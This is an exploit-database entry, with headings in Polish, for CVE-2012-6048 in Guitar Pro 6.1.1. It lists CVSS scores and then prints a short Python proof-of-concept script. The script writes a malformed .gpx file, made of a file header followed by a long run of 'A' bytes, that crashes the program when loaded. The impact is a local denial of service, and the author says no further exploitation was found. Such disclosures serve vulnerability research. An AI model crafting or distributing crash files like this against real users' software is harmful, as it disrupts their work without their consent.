Guitar Pro 6.1.1 r10791 (.gpx) Denial of Service Exploit

2012-05-06 / 2012-11-28

Credit: condis

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2012-6048

CWE: CWE-400

Ogólna skala CVSS: 5/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Brak

Wpływ na integralność: Brak

Wpływ na dostępność: Częściowy

#!/usr/bin/python

# ---------------------------------------------------------
# Guitar Pro 6.1.1 r10791 (.gpx) Denial of Service Exploit
# found by condis
# 
# Date      : 01 May 2012 AD
# Tested on : Windows XP Professional SP3 PL
#
# Download  : http://www.guitar-pro.com/en/index.php
# Price     : ~60 euro
#
# Description :
#
# Each load of malformated file into the program ends up 
# with crash, but place of crash and registers values 
# differ every time o_O"
#  
# In my opinion, this bug does not allow for anything else 
# except getting to a DoS situation, therefore no further 
# research was done.
# ---------------------------------------------------------

evil  = "BCFZ\x04\x10\x01\x00"
evil += "A" * 953

file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
file.write(evil)
file.close()

print "Sex, drugs & drum'n'bass!"

Referencje:

http://www.guitar-pro.com/en/index.php

http://cond.psychodela.pl

See this note in RAW Version

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Guitar Pro 6.1.1 r10791 (.gpx) Denial of Service Exploit

Referencje:

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